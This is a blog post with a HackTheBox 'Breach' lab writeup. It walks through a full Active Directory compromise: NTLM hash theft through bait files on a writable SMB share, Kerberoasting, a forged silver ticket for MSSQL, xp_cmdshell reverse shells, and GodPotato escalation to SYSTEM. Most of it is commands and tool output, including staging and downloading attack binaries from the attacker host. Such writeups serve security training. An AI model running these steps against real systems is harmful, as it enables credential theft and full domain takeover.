DEV Community

Cover image for HackTheBox: Breach Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

HackTheBox: Breach Writeup

Summary

Breach is a Windows AD box centered on credential harvesting and Kerberos abuse. Initial access starts from a guest-readable, guest-writable SMB share. Dropping NTLM-coercion files (.scf, .url, .lnk, etc.) onto the writable share via ntlm_theft triggers a NetNTLMv2 authentication attempt from a domain user when their folder is browsed, captured with Responder and cracked offline to recover the first set of credentials. Those credentials are used to enumerate the domain with BloodHound and Kerberoast it, yielding a crackable TGS hash for a SQL service account. That account's password is reused to derive its NTLM hash and forge a Kerberos silver ticket for the MSSQL service, impersonating Administrator and gaining a sysadmin SQL session without ever having the real Administrator password. From there, xp_cmdshell is re-enabled for code execution, and the resulting service account's SeImpersonatePrivilege is abused with GodPotato to coerce a SYSTEM token and complete the chain to full domain compromise.

Attack chain at a glance:
NTLM coercion via writable SMB share → NetNTLMv2 capture/crack → BloodHound enumeration → Kerberoasting → TGS crack → silver ticket forge → MSSQL sysadmin session → xp_cmdshell RCE → SeImpersonatePrivilege abuse (GodPotato) → SYSTEM


Recon

nmap -A -Pn <MACHINE-IP> -oA nmap
Enter fullscreen mode Exit fullscreen mode

Key findings: this is a Windows Server 2022 Domain Controller for breach.vl.

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: breach.vl)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0

Service Info: Host: BREACHDC; OS: Windows
Enter fullscreen mode Exit fullscreen mode

Domain: breach.vl / NetBIOS: BREACH / DC hostname: BREACHDC. SQL Server 2019 running as SQLEXPRESS instance on 1433. SMB signing is required, ruling out NTLM relay back to SMB itself — but not ruling out hash capture for offline cracking.


Step 1 - Guest SMB access and a writable share

Anonymous/guest SMB login works:

nxc smb <MACHINE-IP> -u '' -p ''
SMB   <MACHINE-IP>   445   BREACHDC   [*] Windows Server 2022 Build 20348 x64 (name:BREACHDC) (domain:breach.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB   <MACHINE-IP>   445   BREACHDC   [+] breach.vl\:

nxc smb <MACHINE-IP> -u 'guest' -p '' --shares
SMB   <MACHINE-IP>   445   BREACHDC   Share        Permissions   Remark
SMB   <MACHINE-IP>   445   BREACHDC   ADMIN$                     Remote Admin
SMB   <MACHINE-IP>   445   BREACHDC   C$                         Default share
SMB   <MACHINE-IP>   445   BREACHDC   IPC$         READ          Remote IPC
SMB   <MACHINE-IP>   445   BREACHDC   NETLOGON                   Logon server share
SMB   <MACHINE-IP>   445   BREACHDC   share        READ,WRITE
SMB   <MACHINE-IP>   445   BREACHDC   SYSVOL                     Logon server share
SMB   <MACHINE-IP>   445   BREACHDC   Users        READ
Enter fullscreen mode Exit fullscreen mode

The share is both readable and writable by guest - that's the way in. RID brute-forcing also pulls the full user list for later password-spraying / Kerberoast target context:

nxc smb <MACHINE-IP> -u 'guest' -p '' --users --rid-brute
...
SMB   <MACHINE-IP>   445   BREACHDC   1105: BREACH\Claire.Pope (SidTypeUser)
SMB   <MACHINE-IP>   445   BREACHDC   1106: BREACH\Julia.Wong (SidTypeUser)
SMB   <MACHINE-IP>   445   BREACHDC   1107: BREACH\Hilary.Reed (SidTypeUser)
SMB   <MACHINE-IP>   445   BREACHDC   1108: BREACH\Diana.Pope (SidTypeUser)
SMB   <MACHINE-IP>   445   BREACHDC   1109: BREACH\Jasmine.Price (SidTypeUser)
SMB   <MACHINE-IP>   445   BREACHDC   1110: BREACH\George.Williams (SidTypeUser)
SMB   <MACHINE-IP>   445   BREACHDC   1111: BREACH\Lawrence.Kaur (SidTypeUser)
SMB   <MACHINE-IP>   445   BREACHDC   1112: BREACH\Jasmine.Slater (SidTypeUser)
SMB   <MACHINE-IP>   445   BREACHDC   1113: BREACH\Hugh.Watts (SidTypeUser)
SMB   <MACHINE-IP>   445   BREACHDC   1114: BREACH\Christine.Bruce (SidTypeUser)
SMB   <MACHINE-IP>   445   BREACHDC   1115: BREACH\svc_mssql (SidTypeUser)
Enter fullscreen mode Exit fullscreen mode

Browsing the share, there's a transfer directory with per-user subfolders that guest can't read into directly:

smb: \transfer\> ls
  .                 D   0   Mon Sep  8 10:13:44 2025
  ..                D   0   Tue Feb  3 13:38:41 2026
  claire.pope       D   0   Thu Feb 17 11:21:35 2022
  diana.pope        D   0   Thu Feb 17 11:21:19 2022
  julia.wong        D   0   Thu Apr 17 00:38:12 2025
Enter fullscreen mode Exit fullscreen mode

These are presumably each user's personal drop folder — when a user opens File Explorer to that folder, Windows will render any files placed there. That behavior is exactly what NTLM-coercion files exploit.


Step 2 - NTLM hash theft via writable share

Since the share is writable, dropping files like .scf, .url, .lnk, and desktop.ini that embed a UNC path back to my attack box will make Windows Explorer authenticate to my SMB listener as soon as a user browses the folder — no execution required, just rendering the folder. ntlm_theft generates a full set of these payloads in one shot:

git clone https://github.com/Greenwolf/ntlm_theft
cd ntlm_theft/
python3 ntlm_theft.py -g all -s <ATTACKER-IP> -f evil
Enter fullscreen mode Exit fullscreen mode

This drops a folder of bait files (evil.scf, evil.lnk, evil-(url).url, desktop.ini, etc.) under evil/.

Upload all of them to the writable share root:

smbclient //<MACHINE-IP>/share -U 'guest%'
smb: \> cd transfer\
smb: \transfer\> prompt off
smb: \transfer\> mput *
putting file evil.scf as \transfer\evil.scf (0.1 kB/s) (average 0.1 kB/s)
putting file desktop.ini as \transfer\desktop.ini (0.1 kB/s) (average 0.1 kB/s)
putting file evil-(url).url as \transfer\evil-(url).url (0.1 kB/s) (average 0.1 kB/s)
... (remaining bait files uploaded)
Enter fullscreen mode Exit fullscreen mode

Start Responder to capture incoming NTLM auth attempts:

responder -I tun0
Enter fullscreen mode Exit fullscreen mode

Shortly after, a domain user's NetNTLMv2 hash lands in the Responder log (the folder was opened/rendered):

[+] Listening for events...
Julia.Wong::BREACH:a7a5bdb78c2b39fa:00B8E51564D0668DBD622E68B34A1F75:0101000000000000...
Enter fullscreen mode Exit fullscreen mode

Save the captured hash and crack it offline with John against rockyou.txt:

cat > julia.hash << 'EOF'
Julia.Wong::BREACH:a7a5bdb78c2b39fa:00B8E51564D0668DBD622E68B34A1F75:0101000000000000...
EOF

john --wordlist=/usr/share/wordlists/rockyou.txt julia.hash
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Computer1        (Julia.Wong)
1g 0:00:00:00 DONE
Enter fullscreen mode Exit fullscreen mode

Credentials recovered: Julia.Wong : Computer1


Step 3 - User flag via authenticated SMB access

The HTB machine info notes the user flag sits in a non-standard path (C:\share\transfer), so it's worth checking access again now that we have valid creds:

nxc smb <MACHINE-IP> -u 'Julia.Wong' -p Computer1 --shares
SMB   <MACHINE-IP>   445   BREACHDC   [+] breach.vl\Julia.Wong:Computer1
SMB   <MACHINE-IP>   445   BREACHDC   share   READ,WRITE
Enter fullscreen mode Exit fullscreen mode
smbclient //10.129.21.7/share -U 'julia.wong%Computer1'
smb: \> cd transfer\julia.wong\
smb: \transfer\julia.wong\> ls
  .          D    0   Wed Apr 16 20:38:12 2025
  ..         D    0   Tue Jun 23 07:51:57 2026
  user.txt   A   32   Wed Apr 16 20:38:22 2025
smb: \transfer\julia.wong\> get user.txt
Enter fullscreen mode Exit fullscreen mode
cat user.txt
HTB{REDACTED}
Enter fullscreen mode Exit fullscreen mode

User flag retrieved as Julia.Wong.


Step 4 — BloodHound collection and Kerberoasting

With valid domain creds, collect AD data with BloodHound's Python ingestor:

bloodhound-python -d breach.vl -u 'Julia.Wong' -p 'Computer1' -ns <MACHINE-IP> -c All --zip
Enter fullscreen mode Exit fullscreen mode
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: breach.vl
INFO: Getting TGT for user
INFO: Connecting to LDAP server: breachdc.breach.vl
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Found 15 users
INFO: Found 54 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: BREACHDC.breach.vl
INFO: Done in 01M 18S
INFO: Compressing output into 20260623083023_bloodhound.zip
Enter fullscreen mode Exit fullscreen mode

Load the resulting zip into BloodHound CE/Legacy and use the Cypher tab to find Kerberoastable accounts. Under Saved Queries → Active Directory → Kerberos Interaction, select "All Kerberoastable users", which runs:

MATCH (u:User)
WHERE u.hasspn=true
AND u.enabled = true
AND NOT u.objectid ENDS WITH '-502'
RUN
Enter fullscreen mode Exit fullscreen mode

This surfaces svc_mssql as the only Kerberoastable account in scope for breach.vl. Clicking the node in the graph and opening its Object Information panel also gives the SID values needed later for the silver ticket:

Display Name:         svc_mssql
SAM Account Name:      svc_mssql
Distinguished Name:    CN=SVC_MSSQL,CN=USERS,DC=BREACH,DC=VL
Domain SID:             S-1-5-21-2330692793-3312915120-706255856
Object ID:              S-1-5-21-2330692793-3312915120-706255856-1115
Service Principal Names: MSSQLSvc/breachdc.breach.vl:1433
Enter fullscreen mode Exit fullscreen mode

Request the TGS for that SPN with Impacket:

impacket-GetUserSPNs 'breach.vl/Julia.Wong:Computer1' -dc-ip <MACHINE-IP> -request -outputfile svc_mssql.hash
Enter fullscreen mode Exit fullscreen mode
ServicePrincipalName              Name        MemberOf  PasswordLastSet              LastLogon
--------------------------------  ----------  --------  ---------------------------  --------------------------
MSSQLSvc/breachdc.breach.vl:1433  svc_mssql             2022-02-17 05:43:08.106169   2026-06-23 06:30:47.088029
Enter fullscreen mode Exit fullscreen mode

Crack the resulting Kerberos TGS (etype 23, RC4) offline:

john --wordlist=/usr/share/wordlists/rockyou.txt svc_mssql.hash
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Trustno1         (?)
1g 0:00:00:00 DONE
Enter fullscreen mode Exit fullscreen mode

Credentials recovered: svc_mssql : Trustno1

nxc smb <MACHINE-IP> -u 'svc_mssql' -p 'Trustno1'
SMB   <MACHINE-IP>   445   BREACHDC   [+] breach.vl\svc_mssql:Trustno1
Enter fullscreen mode Exit fullscreen mode

Step 5 - Silver ticket forge → sysadmin MSSQL session → xp_cmdshell

Logging into MSSQL directly as svc_mssql only gives a low-privilege guest context — that account is not sysadmin on its own, so xp_cmdshell can't be enabled from that session:

nxc mssql <MACHINE-IP> -u svc_mssql -p Trustno1
MSSQL   <MACHINE-IP>   1433   BREACHDC   [+] breach.vl\svc_mssql:Trustno1
Enter fullscreen mode Exit fullscreen mode
mssqlclient.py 'breach.vl/svc_mssql:Trustno1@<MACHINE-IP>' -windows-auth
SQL (BREACH\svc_mssql  guest@master)> enum_logins
name            type_desc       sysadmin
-------------   -------------   --------
sa              SQL_LOGIN              1
BUILTIN\Users   WINDOWS_GROUP          0
Enter fullscreen mode Exit fullscreen mode

Since the SPN MSSQLSvc/breachdc.breach.vl:1433 is registered on svc_mssql, and the account's plaintext password (and therefore its NTLM hash) is known, a silver ticket can be forged. A silver ticket is a self-signed Kerberos service ticket (TGS) built using the NTLM hash of the service account that owns the SPN — unlike a golden ticket (which needs the krbtgt hash and grants domain-wide access), a silver ticket is scoped to one specific service, but lets the attacker set the ticket's subject to any user, including Administrator.

Derive the NTLM hash from the cracked password:

echo -n "Trustno1" | iconv -t utf-16le | openssl md4
MD4(stdin)= 69596c7aa1e8daee17f8e78870e25a5c
Enter fullscreen mode Exit fullscreen mode

Forge a TGS for the MSSQL SPN, impersonating Administrator (RID 500), using the domain SID and svc_mssql object SID pulled from BloodHound in Step 4:

ticketer.py \
  -domain-sid S-1-5-21-2330692793-3312915120-706255856 \
  -nthash 69596c7aa1e8daee17f8e78870e25a5c \
  -domain breach.vl \
  -spn MSSQLSvc/breachdc.breach.vl:1433 \
  -user-id 500 \
  Administrator

export KRB5CCNAME=Administrator.ccache
Enter fullscreen mode Exit fullscreen mode
Impacket v0.14.0.dev0+20260226.31512.9d3d86ea - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for breach.vl/Administrator
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in Administrator.ccache
Enter fullscreen mode Exit fullscreen mode
klist
Ticket cache: FILE:Administrator.ccache
Default principal: Administrator@BREACH.VL
Valid starting       Expires              Service principal
06/23/2026 09:51:28  06/20/2036 09:51:28  MSSQLSvc/breachdc.breach.vl:1433@BREACH.VL
        renew until 06/20/2036 09:51:28
Enter fullscreen mode Exit fullscreen mode

Authenticate to MSSQL using the forged ticket - no password required:

mssqlclient.py -k -no-pass -windows-auth Administrator@breachdc.breach.vl
[*] Encryption required, switching to TLS
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
[!] Press help for extra shell commands
SQL (BREACH\Administrator  dbo@master)> enum_logins
name                                 type_desc       sysadmin
----------------------------------   -------------   --------
sa                                   SQL_LOGIN              1
BREACH\Administrator                 WINDOWS_LOGIN          1
NT SERVICE\SQLWriter                 WINDOWS_LOGIN          1
NT SERVICE\Winmgmt                   WINDOWS_LOGIN          1
NT Service\MSSQL$SQLEXPRESS          WINDOWS_LOGIN          1
BUILTIN\Users                        WINDOWS_GROUP          0
NT AUTHORITY\SYSTEM                  WINDOWS_LOGIN          0
NT SERVICE\SQLTELEMETRY$SQLEXPRESS   WINDOWS_LOGIN          0
Enter fullscreen mode Exit fullscreen mode

This session is sysadmin (BREACH\Administrator), so xp_cmdshell can now be enabled:

SQL (BREACH\Administrator  dbo@master)> xp_cmdshell whoami
ERROR(BREACHDC\SQLEXPRESS): SQL Server blocked access to procedure 'sys.xp_cmdshell' ... turned off

SQL (BREACH\Administrator  dbo@master)> enable_xp_cmdshell
INFO(BREACHDC\SQLEXPRESS): Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
INFO(BREACHDC\SQLEXPRESS): Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.

SQL (BREACH\Administrator  dbo@master)> xp_cmdshell whoami
output
----------------
breach\svc_mssql
NULL
Enter fullscreen mode Exit fullscreen mode

Note that xp_cmdshell itself still executes commands as the underlying service account (breach\svc_mssql), not as Administrator — sysadmin in the SQL engine just grants the permission to run it. A long base64-encoded PowerShell payload doesn't fit cleanly into a single xp_cmdshell call due to the SQL identifier length limit, so it has to be wrapped in double quotes:

SQL (BREACH\Administrator  dbo@master)> xp_cmdshell 'powershell -e <BASE64_PAYLOAD>'
ERROR(BREACHDC\SQLEXPRESS): Line 1: Incorrect syntax near 'powershell'.
ERROR(BREACHDC\SQLEXPRESS): Line 1: The identifier that starts with '...' is too long. Maximum length is 128.

SQL (BREACH\Administrator  dbo@master)> xp_cmdshell "powershell -e <BASE64_REVERSE_SHELL_PAYLOAD>"
Enter fullscreen mode Exit fullscreen mode
PS C:\Windows\system32> whoami
breach\svc_mssql
Enter fullscreen mode Exit fullscreen mode

Command execution achieved as breach\svc_mssql via an interactive reverse shell.


Step 6 — Privilege escalation via SeImpersonatePrivilege (GodPotato)

Checking privileges on the shell as svc_mssql:

PS C:\Users\svc_mssql> whoami /priv

Privilege Name                Description                               State
============================= ========================================= ========
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeManageVolumePrivilege       Perform volume maintenance tasks          Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
Enter fullscreen mode Exit fullscreen mode

SeImpersonatePrivilege is enabled - standard for service accounts, and a reliable path to SYSTEM via a "Potato"-family local privilege escalation exploit. Used GodPotato here, which abuses the RPC/DCOM OXID resolver to coerce a SYSTEM token through the impersonation privilege.

Stage the binary and pull it onto the target:

wget https://github.com/BeichenDream/GodPotato/releases/latest/download/GodPotato-NET4.exe
python3 -m http.server 80
Enter fullscreen mode Exit fullscreen mode
PS C:\temp> Invoke-WebRequest -Uri "http://<ATTACKER-IP>/GodPotato-NET4.exe" -OutFile "C:\temp\Godpotato.exe"
Enter fullscreen mode Exit fullscreen mode

Confirm the technique works:

PS C:\temp> .\Godpotato.exe -cmd whoami
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] PID : 916 Token:0x748  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] CurrentUser: NT AUTHORITY\SYSTEM
nt authority\system
Enter fullscreen mode Exit fullscreen mode

Use GodPotato to launch a second, SYSTEM-level reverse shell on a new port:

PS C:\temp> .\Godpotato.exe -cmd "powershell -e <BASE64_REVERSE_SHELL_PAYLOAD_2>"
Enter fullscreen mode Exit fullscreen mode
PS C:\temp> whoami
nt authority\system
Enter fullscreen mode Exit fullscreen mode

Step 7 - Root flag

PS C:\Users\Administrator\Desktop> dir
Mode    LastWriteTime         Length Name
----    -------------         ------ ----
-a----  4/17/2025  12:37 AM       32 root.txt

PS C:\Users\Administrator\Desktop> type root.txt
HTB{REDACTED}
Enter fullscreen mode Exit fullscreen mode

Root flag retrieved as NT AUTHORITY\SYSTEM.


Key Vulnerabilities

# Vulnerability Component Impact
1 Guest-writable SMB share share (SMB) Allows dropping NTLM-coercion bait files reachable by domain users
2 NTLM authentication coercion Windows Explorer / SMB client Leaks NetNTLMv2 hash of any user who browses the bait folder
3 Weak user password (Computer1) Julia.Wong AD account NetNTLMv2 hash crackable via wordlist in seconds
4 Kerberoasting (SPN registered on a user account) svc_mssql service account TGS requestable by any authenticated domain user, crackable offline
5 Weak service account password (Trustno1) svc_mssql AD account TGS hash crackable via wordlist, yielding the account's NTLM hash
6 Forgeable Kerberos service ticket via known NTLM hash (silver ticket) MSSQL SPN Forge a TGS impersonating Administrator, gaining sysadmin on MSSQL without ever having the Administrator password
7 xp_cmdshell enablement via sysadmin SQL session MSSQL Server 2019 Arbitrary OS command execution as the SQL service account
8 SeImpersonatePrivilege on service account + unpatched OXID resolver (GodPotato) Windows RPC/DCOM Local privilege escalation to NT AUTHORITY\SYSTEM

Attack Chain

Guest SMB access (writable share)
        │
        ▼
Drop NTLM-coercion files (ntlm_theft) → Responder captures NetNTLMv2 hash
        │
        ▼
Crack hash (John + rockyou) → Julia.Wong:Computer1
        │
        ▼
Authenticated SMB access → retrieve user.txt
        │
        ▼
BloodHound collection → identify svc_mssql as Kerberoastable, note Domain/Object SIDs
        │
        ▼
Kerberoast domain (GetUserSPNs) → svc_mssql TGS hash
        │
        ▼
Crack TGS (John + rockyou) → svc_mssql:Trustno1 → derive NTLM hash
        │
        ▼
Forge silver ticket (ticketer.py) → MSSQL TGS as Administrator
        │
        ▼
Sysadmin MSSQL session → enable xp_cmdshell → RCE as svc_mssql
        │
        ▼
SeImpersonatePrivilege abuse (GodPotato) → NT AUTHORITY\SYSTEM
        │
        ▼
Read root.txt
Enter fullscreen mode Exit fullscreen mode

Top comments (0)